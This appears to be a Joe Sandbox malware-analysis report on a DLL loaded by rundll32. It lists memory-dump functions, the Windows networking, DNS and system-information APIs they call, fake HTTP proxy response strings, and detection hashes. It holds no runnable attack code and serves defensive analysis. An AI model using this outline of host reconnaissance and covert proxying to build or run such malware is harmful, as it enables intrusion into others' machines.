HTTP/1.0 502 Bad GatewayContent-Length: 15502 Bad Gateway, xrefs: 6CB0F822, 6CB0F945, 6CB0FE47, 6CB0FE82
?, xrefs: 6CB0FE94

Memory Dump Source

Source File: 00000004.00000002.4577069002.000000006CB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.4577054279.000000006CB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577089718.000000006CB24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577104591.000000006CB2B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577118751.000000006CB2D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577244326.000000006CD27000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577261238.000000006CD28000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577508040.000000006D13D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_rundll32.jbxd

Similarity

API ID: send
String ID: ?$HTTP/1.0 400 Bad RequestContent-Length: 15400 Bad Request$HTTP/1.0 502 Bad GatewayContent-Length: 15502 Bad Gateway$HTTP/1.1 200 OK$HTTP/1.1 407 Proxy Authentication RequiredProxy-Authenticate: Basic realm="Proxy"Content-Length: 33407 Proxy Authentication Required
API String ID: 2809346765-4124141725
Opcode ID: 631f785f9f0a3789bb65f75a962b583188c0136596d709f0525eaa5330972604
Instruction ID: c4526e17f7ccc57cbc0c3a183f5f0e9008f905f6144480a1c097c72f6c91e3d9
Opcode Fuzzy Hash: 631f785f9f0a3789bb65f75a962b583188c0136596d709f0525eaa5330972604
Instruction Fuzzy Hash: 49C2AA7AB042548FDB14CF78C9A57EE7BF1EB4B320F149259D8649B790C2399A4ACF01

Uniqueness

Uniqueness Score: -1.00%

Function 6CB0CE10 Relevance: 23.2, APIs: 14, Instructions: 2201networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 6CB0CF2C
recv.WS2_32 ref: 6CB0D02D
send.WS2_32 ref: 6CB0D43D
send.WS2_32 ref: 6CB0D560
recv.WS2_32 ref: 6CB0DC83
htons.WS2_32 ref: 6CB0E47E
send.WS2_32 ref: 6CB0E63E
recv.WS2_32 ref: 6CB0E822
recv.WS2_32 ref: 6CB0E85D
send.WS2_32 ref: 6CB0E8E0
send.WS2_32 ref: 6CB0E925
recv.WS2_32 ref: 6CB0E997
htons.WS2_32 ref: 6CB0EA97
send.WS2_32 ref: 6CB0EB20

Memory Dump Source

Source File: 00000004.00000002.4577069002.000000006CB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.4577054279.000000006CB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577089718.000000006CB24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577104591.000000006CB2B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577118751.000000006CB2D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577244326.000000006CD27000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577261238.000000006CD28000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577508040.000000006D13D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_rundll32.jbxd

Similarity

API ID: recvsend$htons
String ID:
API String ID: 2448738288-0
Opcode ID: cd8e30a4e34763972c002e667bae2b10c7a7c90d522e75654fa66d94193e47e3
Instruction ID: 8bacf81a3f50f55cf9ad2841e3065155b1491d9353b07facd1f1ec072f5d9480
Opcode Fuzzy Hash: cd8e30a4e34763972c002e667bae2b10c7a7c90d522e75654fa66d94193e47e3
Instruction Fuzzy Hash: 6A03C07AA042508FDB04CE38C8A57EE7FF1EB4B324F249259D8659B3D0C6399A49CF41

Uniqueness

Uniqueness Score: -1.00%

Function 6CB02CC0 Relevance: 20.5, APIs: 9, Strings: 2, Instructions: 1264
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

select.WS2_32 ref: 6CB02F2E
recv.WS2_32 ref: 6CB0307D
send.WS2_32 ref: 6CB0354C
send.WS2_32 ref: 6CB03954
recv.WS2_32 ref: 6CB03C4D
send.WS2_32 ref: 6CB03CAA
recv.WS2_32 ref: 6CB03D06
send.WS2_32 ref: 6CB03D71

Strings

GET , xrefs: 6CB03343
POST, xrefs: 6CB0344E

Memory Dump Source

Source File: 00000004.00000002.4577069002.000000006CB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.4577054279.000000006CB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577089718.000000006CB24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577104591.000000006CB2B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577118751.000000006CB2D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577244326.000000006CD27000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577261238.000000006CD28000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577508040.000000006D13D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_rundll32.jbxd

Similarity

API ID: send$recv$select
String ID: GET $POST
API String ID: 2785307308-2494278042
Opcode ID: 6c3ed66011c445862e89500efc5e10f44c8bcdcad022135810a174bfadd52f6e
Instruction ID: 3b1b5cb464688a121df7cc311d277ae6f9aa697f45bedb2663e4fc065fefeb1e
Opcode Fuzzy Hash: 6c3ed66011c445862e89500efc5e10f44c8bcdcad022135810a174bfadd52f6e
Instruction Fuzzy Hash: 3EA2AE7AB442548FDB18CF28C8A57EEBBF1FB4B320F149259D86597790C2399A49CF01

Uniqueness

Uniqueness Score: -1.00%

Function 6CB0A140 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 710
networkstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6CB02650: StrStrIA.SHLWAPI(?,?), ref: 6CB026C2

send.WS2_32 ref: 6CB0A3A9
send.WS2_32 ref: 6CB0A92D

Part of subcall function 6CB01D10: inet_addr.WS2_32(?), ref: 6CB01D3A
Part of subcall function 6CB01D10: gethostbyname.WS2_32 ref: 6CB01DC7
Part of subcall function 6CB01D10: gethostbyname.WS2_32 ref: 6CB020BB

Part of subcall function 6CB064E0: socket.WS2_32 ref: 6CB065AD
Part of subcall function 6CB064E0: socket.WS2_32 ref: 6CB06A10

Part of subcall function 6CB064E0: htons.WS2_32 ref: 6CB066AB
Part of subcall function 6CB064E0: connect.WS2_32 ref: 6CB066D5
Part of subcall function 6CB064E0: htons.WS2_32 ref: 6CB06A3E
Part of subcall function 6CB064E0: connect.WS2_32 ref: 6CB06A68

send.WS2_32 ref: 6CB0A5F8
lstrlenA.KERNEL32 ref: 6CB0A6E6
send.WS2_32 ref: 6CB0A70C
send.WS2_32 ref: 6CB0A9B8
lstrlenA.KERNEL32 ref: 6CB0A9E0
send.WS2_32 ref: 6CB0AA06

Strings

HTTP/1.0 400 Bad RequestContent-Length: 15400 Bad Request, xrefs: 6CB0A387, 6CB0A90B
HTTP/1.0 502 Bad GatewayContent-Length: 15502 Bad Gateway, xrefs: 6CB0A5D6, 6CB0A996
?, xrefs: 6CB0A9A8

Memory Dump Source

Source File: 00000004.00000002.4577069002.000000006CB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.4577054279.000000006CB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577089718.000000006CB24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577104591.000000006CB2B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577118751.000000006CB2D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577244326.000000006CD27000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577261238.000000006CD28000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577508040.000000006D13D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_rundll32.jbxd

Similarity

API ID: send$connectgethostbynamehtonslstrlensocket$inet_addr
String ID: ?$HTTP/1.0 400 Bad RequestContent-Length: 15400 Bad Request$HTTP/1.0 502 Bad GatewayContent-Length: 15502 Bad Gateway
API String ID: 3368100389-1716031870
Opcode ID: 5cfc86bba50cfb9d287257a10dd5160a223e5b275207d6e35614d31de4de3809
Instruction ID: 267b5b604e35ee6bc4a36f0a865313fcac2f2ea73f1ea8e37cbf325f1136ca99
Opcode Fuzzy Hash: 5cfc86bba50cfb9d287257a10dd5160a223e5b275207d6e35614d31de4de3809
Instruction Fuzzy Hash: 51429B79A042548FDB04DF7CC8A57EEBBF1FB4A324F209619D865AB390C6359906CF01

Uniqueness

Uniqueness Score: -1.00%

Function 6CB0FF10 Relevance: 15.4, APIs: 9, Instructions: 1948memorynetworkCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB064E0: socket.WS2_32 ref: 6CB065AD
Part of subcall function 6CB064E0: socket.WS2_32 ref: 6CB06A10

recv.WS2_32 ref: 6CB10316
closesocket.WS2_32 ref: 6CB10E41
GetProcessHeap.KERNEL32 ref: 6CB117FE
HeapFree.KERNEL32 ref: 6CB1181D
recv.WS2_32 ref: 6CB118E3
closesocket.WS2_32 ref: 6CB11A90
GetProcessHeap.KERNEL32 ref: 6CB11AD5
HeapFree.KERNEL32 ref: 6CB11AF4

Part of subcall function 6CB0CE10: recv.WS2_32 ref: 6CB0E822

Part of subcall function 6CB0CE10: recv.WS2_32 ref: 6CB0CF2C

Part of subcall function 6CB06AA0: recv.WS2_32 ref: 6CB06B6B
Part of subcall function 6CB06AA0: recv.WS2_32 ref: 6CB06E9A

Part of subcall function 6CB06AA0: htons.WS2_32 ref: 6CB06C90
Part of subcall function 6CB06AA0: htons.WS2_32 ref: 6CB06EB5

Memory Dump Source

Source File: 00000004.00000002.4577069002.000000006CB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.4577054279.000000006CB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577089718.000000006CB24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577104591.000000006CB2B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577118751.000000006CB2D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577244326.000000006CD27000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577261238.000000006CD28000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577508040.000000006D13D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_rundll32.jbxd

Similarity

API ID: recv$Heap$FreeProcessclosesockethtonssocket
String ID:
API String ID: 1699882395-0
Opcode ID: 3ec824ff257b2cdaf78d0d0dd9f00a4dd14a84b925f62006db2a9c2e6ab6718b
Instruction ID: ead3e96afc59e44c51d37130d12975a20541688a33b0ad184a993a5673920dc6
Opcode Fuzzy Hash: 3ec824ff257b2cdaf78d0d0dd9f00a4dd14a84b925f62006db2a9c2e6ab6718b
Instruction Fuzzy Hash: 81E21E7AA081A44FDF18CE38C8A13EA7BF1EB57360F145399D5A5977C0C2398A85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 6CB03D90 Relevance: 13.1, APIs: 8, Instructions: 1140
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32 ref: 6CB03E47
GetVolumeInformationA.KERNELBASE ref: 6CB03F41
GetComputerNameA.KERNEL32 ref: 6CB04034
GetUserNameA.ADVAPI32 ref: 6CB04549
GetTempPathA.KERNEL32 ref: 6CB04B6B
GetVolumeInformationA.KERNEL32 ref: 6CB04BBC
GetComputerNameA.KERNEL32 ref: 6CB04BE6
GetUserNameA.ADVAPI32 ref: 6CB04C4E

Memory Dump Source

Source File: 00000004.00000002.4577069002.000000006CB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.4577054279.000000006CB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577089718.000000006CB24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577104591.000000006CB2B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577118751.000000006CB2D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577244326.000000006CD27000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577261238.000000006CD28000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577508040.000000006D13D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_rundll32.jbxd

Similarity

API ID: Name$ComputerInformationPathTempUserVolume
String ID:
API String ID: 3941947965-0
Opcode ID: 3da792baa96df419d3d8357adf01e627bb593302fb8905862b9175ac93acaa70
Instruction ID: 733dc9db53bd542f0cb8d9c7d56f7dea1bf5f9dad0a1df0f24bbd1e3976f3671
Opcode Fuzzy Hash: 3da792baa96df419d3d8357adf01e627bb593302fb8905862b9175ac93acaa70
Instruction Fuzzy Hash: 5882BD7AA042508FDB08CE78C9A57EE7FF1EB57320F146659D865AB7D1C2394A4ACF00

Uniqueness

Uniqueness Score: -1.00%

Function 6CB064E0 Relevance: 12.5, APIs: 8, Instructions: 477
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32 ref: 6CB065AD
htons.WS2_32 ref: 6CB066AB
connect.WS2_32 ref: 6CB066D5
closesocket.WS2_32 ref: 6CB067A6
socket.WS2_32 ref: 6CB06A10
htons.WS2_32 ref: 6CB06A3E
connect.WS2_32 ref: 6CB06A68
closesocket.WS2_32 ref: 6CB06A7E

Memory Dump Source

Source File: 00000004.00000002.4577069002.000000006CB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.4577054279.000000006CB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577089718.000000006CB24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577104591.000000006CB2B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577118751.000000006CB2D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577244326.000000006CD27000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577261238.000000006CD28000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577508040.000000006D13D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_rundll32.jbxd

Similarity

API ID: closesocketconnecthtonssocket
String ID:
API String ID: 3817148366-0
Opcode ID: 8303a78c86d5d93db73dfb0d4ce34fe7ed72688cdfe5672b313b23755f8a645c
Instruction ID: 429cebe471a3586dbdb0cdf89978aa40afae9d7f0eb6d7872c087e6ba58fb9f3
Opcode Fuzzy Hash: 8303a78c86d5d93db73dfb0d4ce34fe7ed72688cdfe5672b313b23755f8a645c
Instruction Fuzzy Hash: 81F18C7AA502508FDF04DE78C4A57EEBBF1EB4B324F219319D8609B7D0C23A950ACB51

Uniqueness

Uniqueness Score: -1.00%

Function 6CB05640 Relevance: 11.2, APIs: 7, Instructions: 657
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DnsQuery_A.DNSAPI ref: 6CB056FC
DnsQuery_A.DNSAPI ref: 6CB059EB
DnsFree.DNSAPI ref: 6CB05BA8
DnsFree.DNSAPI ref: 6CB05CDC
DnsQuery_A.DNSAPI ref: 6CB05DCB
DnsQuery_A.DNSAPI ref: 6CB05E41
DnsFree.DNSAPI ref: 6CB05E8D

Memory Dump Source

Source File: 00000004.00000002.4577069002.000000006CB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.4577054279.000000006CB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577089718.000000006CB24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577104591.000000006CB2B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577118751.000000006CB2D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577244326.000000006CD27000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577261238.000000006CD28000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577508040.000000006D13D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_rundll32.jbxd

Similarity

API ID: Query_$Free
String ID:
API String ID: 1181202470-0
Opcode ID: b5c9fcf88dd5b8bfde58db3656b8a3482153006ab88b341b5b80fd0427a62e53
Instruction ID: b5dbdb186a456635588908e5a426112dbce9e64c8af5204843b2d79d1aab0ad8
Opcode Fuzzy Hash: b5c9fcf88dd5b8bfde58db3656b8a3482153006ab88b341b5b80fd0427a62e53
Instruction Fuzzy Hash: D432CC7AA042508FDB04CE78C5A47EE7FF1EB4A324F249219D8659BB90C239990ACB55

Uniqueness

Uniqueness Score: -1.00%

Function 6CB08300 Relevance: 9.4, APIs: 6, Instructions: 389
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32 ref: 6CB08390
FindFirstFileA.KERNELBASE ref: 6CB0846F
FindClose.KERNEL32 ref: 6CB08566
GetWindowsDirectoryA.KERNEL32 ref: 6CB08773
FindFirstFileA.KERNEL32 ref: 6CB0878E
FindClose.KERNEL32 ref: 6CB087AB

Memory Dump Source

Source File: 00000004.00000002.4577069002.000000006CB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.4577054279.000000006CB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577089718.000000006CB24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577104591.000000006CB2B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577118751.000000006CB2D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577244326.000000006CD27000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577261238.000000006CD28000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577508040.000000006D13D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_rundll32.jbxd

Similarity

API ID: Find$CloseDirectoryFileFirstWindows
String ID:
API String ID: 2671548583-0
Opcode ID: fec89a4f798dcf28567d24db2d863c5c747fda6846f5abeffa2507904933c0d1
Instruction ID: 8296a71f75049e5aedac255c95c806e476e7257e39cada0821c9b6d52b055691
Opcode Fuzzy Hash: fec89a4f798dcf28567d24db2d863c5c747fda6846f5abeffa2507904933c0d1
Instruction Fuzzy Hash: 1CD1D37AB142448FDF08DE78C5A53EE7FF1EB1B364F25521AD821977C0C22A9A09CB41

Uniqueness

Uniqueness Score: -1.00%

Function 6CB06AA0 Relevance: 9.4, APIs: 6, Instructions: 381
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

recv.WS2_32 ref: 6CB06B6B
htons.WS2_32 ref: 6CB06C90

Part of subcall function 6CB064E0: htons.WS2_32 ref: 6CB066AB
Part of subcall function 6CB064E0: connect.WS2_32 ref: 6CB066D5
Part of subcall function 6CB064E0: htons.WS2_32 ref: 6CB06A3E
Part of subcall function 6CB064E0: connect.WS2_32 ref: 6CB06A68

send.WS2_32 ref: 6CB06DF0
recv.WS2_32 ref: 6CB06E9A
htons.WS2_32 ref: 6CB06EB5

Part of subcall function 6CB064E0: socket.WS2_32 ref: 6CB065AD
Part of subcall function 6CB064E0: socket.WS2_32 ref: 6CB06A10

send.WS2_32 ref: 6CB06F39

Memory Dump Source

Source File: 00000004.00000002.4577069002.000000006CB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.4577054279.000000006CB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577089718.000000006CB24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577104591.000000006CB2B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577118751.000000006CB2D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577244326.000000006CD27000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577261238.000000006CD28000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577508040.000000006D13D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_rundll32.jbxd

Similarity

API ID: htons$connectrecvsendsocket
String ID:
API String ID: 4285909236-0
Opcode ID: d5777e84ba78738452ac56c0af78bec07f7a906ac5e59c7525719d2944d8f4cb
Instruction ID: 363bd0d2da25c56e4c821880b5700756c04213d6b382326db74027c7f649e4c5
Opcode Fuzzy Hash: d5777e84ba78738452ac56c0af78bec07f7a906ac5e59c7525719d2944d8f4cb
Instruction Fuzzy Hash: 9AD19C79A142508FDB08DF78C4A53EE7FF2EB4B324F259218D865AB3D0C6399909CB51

Uniqueness

Uniqueness Score: -1.00%

Function 6CB02650 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 553
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrStrIA.SHLWAPI(?,?), ref: 6CB026C2
recv.WS2_32 ref: 6CB028D8
StrStrIA.KERNELBASE(?,?,?,?,?,?,?,?), ref: 6CB02A74
recv.WS2_32 ref: 6CB02C83

Strings

, xrefs: 6CB026B2, 6CB02A64

Memory Dump Source

Source File: 00000004.00000002.4577069002.000000006CB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.4577054279.000000006CB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577089718.000000006CB24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577104591.000000006CB2B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577118751.000000006CB2D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577244326.000000006CD27000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577261238.000000006CD28000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577508040.000000006D13D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_rundll32.jbxd

Similarity

API ID: recv
String ID:
API String ID: 1507349165-2344752452
Opcode ID: 1b8ccb814fbead591a60bde1030438fc79a6c1878e1ea42ddd9a5576ad1d7a50
Instruction ID: 7c11e16c006d7e33869bcb764c88a978da861a7ece32dddbcd685f04f66a2527
Opcode Fuzzy Hash: 1b8ccb814fbead591a60bde1030438fc79a6c1878e1ea42ddd9a5576ad1d7a50
Instruction Fuzzy Hash: 9912A23AB042548FDF08CF78C4A57EE7BF2EB4B324F259219D861AB394C6395909CB51

Uniqueness

Uniqueness Score: -1.00%

Function 6CB01D10 Relevance: 4.8, APIs: 3, Instructions: 327
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

inet_addr.WS2_32(?), ref: 6CB01D3A
gethostbyname.WS2_32 ref: 6CB01DC7
gethostbyname.WS2_32 ref: 6CB020BB

Memory Dump Source

Source File: 00000004.00000002.4577069002.000000006CB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.4577054279.000000006CB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577089718.000000006CB24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577104591.000000006CB2B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577118751.000000006CB2D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577244326.000000006CD27000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577261238.000000006CD28000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577508040.000000006D13D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_rundll32.jbxd

Similarity

API ID: gethostbyname$inet_addr
String ID:
API String ID: 2699161472-0
Opcode ID: 648f3c897386fe1fb9789de23f08c70789c689f3f746445f124b70a8d65ddfaa
Instruction ID: 1d04884c59e67040cc9b883efdf2d9411e4752777991d6bc0de9b0e619bae10a
Opcode Fuzzy Hash: 648f3c897386fe1fb9789de23f08c70789c689f3f746445f124b70a8d65ddfaa
Instruction Fuzzy Hash: 85B1BC7AB442508FDF08DE78C5A53EE7BF5EB17324F246319D8219B7D1C22A960ACB11

Uniqueness

Uniqueness Score: -1.00%

Function 6CB05EA0 Relevance: 3.4, APIs: 2, Instructions: 375
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

recv.WS2_32 ref: 6CB0607C
recv.WS2_32 ref: 6CB06296

Memory Dump Source

Source File: 00000004.00000002.4577069002.000000006CB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.4577054279.000000006CB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577089718.000000006CB24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577104591.000000006CB2B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577118751.000000006CB2D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577244326.000000006CD27000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577261238.000000006CD28000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577508040.000000006D13D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_rundll32.jbxd

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: c76a82dc0ea6eaacfa0681d4ad93b214bc8fa0c01b98e234632b3f03a7ce4be4
Instruction ID: 522731bfd15214770a71a34bcc64c612c50ccfbfcb21c3ac4210024761d11b80
Opcode Fuzzy Hash: c76a82dc0ea6eaacfa0681d4ad93b214bc8fa0c01b98e234632b3f03a7ce4be4
Instruction Fuzzy Hash: 08D18E7AE406148FDF04CEBCC4A57EEBBF1EB4A320F259219D864EB794C2359905CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6CB062E0 Relevance: 3.2, APIs: 2, Instructions: 170
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

send.WS2_32 ref: 6CB063B5
send.WS2_32 ref: 6CB064B0

Memory Dump Source

Source File: 00000004.00000002.4577069002.000000006CB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.4577054279.000000006CB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577089718.000000006CB24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577104591.000000006CB2B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577118751.000000006CB2D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577244326.000000006CD27000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577261238.000000006CD28000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.4577508040.000000006D13D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_rundll32.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: d6646fdb07f39e8c5e0fcd3b1bce3d5854bf05a0e36c2ab43835e9fdb0eb6a49
Instruction ID: 61d0a6d98f680ab76ae31c9cb6705420cece28f1c6a9ba4a738a2af020bd15d2
Opcode Fuzzy Hash: d6646fdb07f39e8c5e0fcd3b1bce3d5854bf05a0e36c2ab43835e9fdb0eb6a49
Instruction Fuzzy Hash: 8351ADB5A002019FDB04CF69C4A57EBBFF6FB8A320F209658E5659B3A0C2359805CF91
